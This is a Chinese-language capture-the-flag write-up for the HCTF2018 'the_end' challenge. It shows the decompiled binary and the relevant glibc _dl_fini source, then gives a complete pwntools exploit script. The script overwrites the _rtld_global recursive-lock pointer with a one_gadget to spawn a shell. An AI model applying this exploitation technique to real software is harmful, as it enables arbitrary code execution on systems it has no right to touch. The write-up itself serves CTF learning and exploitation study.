HCTF2018-the End

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

一眼就可以看出来,任意地址写五字节,且紧跟着exit,当前got写不了。所以得看看exit里面有没有地方可以利用来劫持控制流的。通常这个地方很容易想到exit的时候会刷新输出缓冲。如果能劫持stdout,就能达到目录。 劫持stdout来达到任意写的状态。且把vtable放到libc的got表上。

这里记录一种其他的方法,存在于exit中,exit里面回调用_dl_fini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   _dl_fini (void)
{
...
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
...
1
2
3
4
5
6
7
8
   # define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif

即直接把__rtld_lock_lock_recursive写成one_gadget即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
p = process('./the_end')
e = ELF('./the_end')
libc = ELF('./libc64.so')
ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')


def write_value(addr,value):
p.send(p64(addr))
p.send(p8(value))


p.recvuntil('gift ')
sleep_addr=int(p.recv(14),16)
print "sleep_addr",hex(sleep_addr)

libc_base=sleep_addr-libc.symbols['sleep']
rce=0xf02a4+libc_base

print "rce",hex(rce)

ld_base=libc_base+0x3ca000
_rtld_global=ld_base+ld.symbols['_rtld_global']
addr=_rtld_global+0xf08
print hex(ld_base+ld.symbols['_rtld_global'])
#print *(struct _IO_FILE_plus *) 0x000055a20796d030
write_value(addr,rce&0xff)
write_value(addr+1,(rce>>8)&0xff)
write_value(addr+2,(rce>>16)&0xff)

for i in range(0,2):
p.send(p64(libc_base+libc.symbols['__malloc_hook']))
p.send(p8(0))
#p.sendline('cat flag 1>&0')
p.sendline('exec /bin/sh 1>&0')
p.interactive()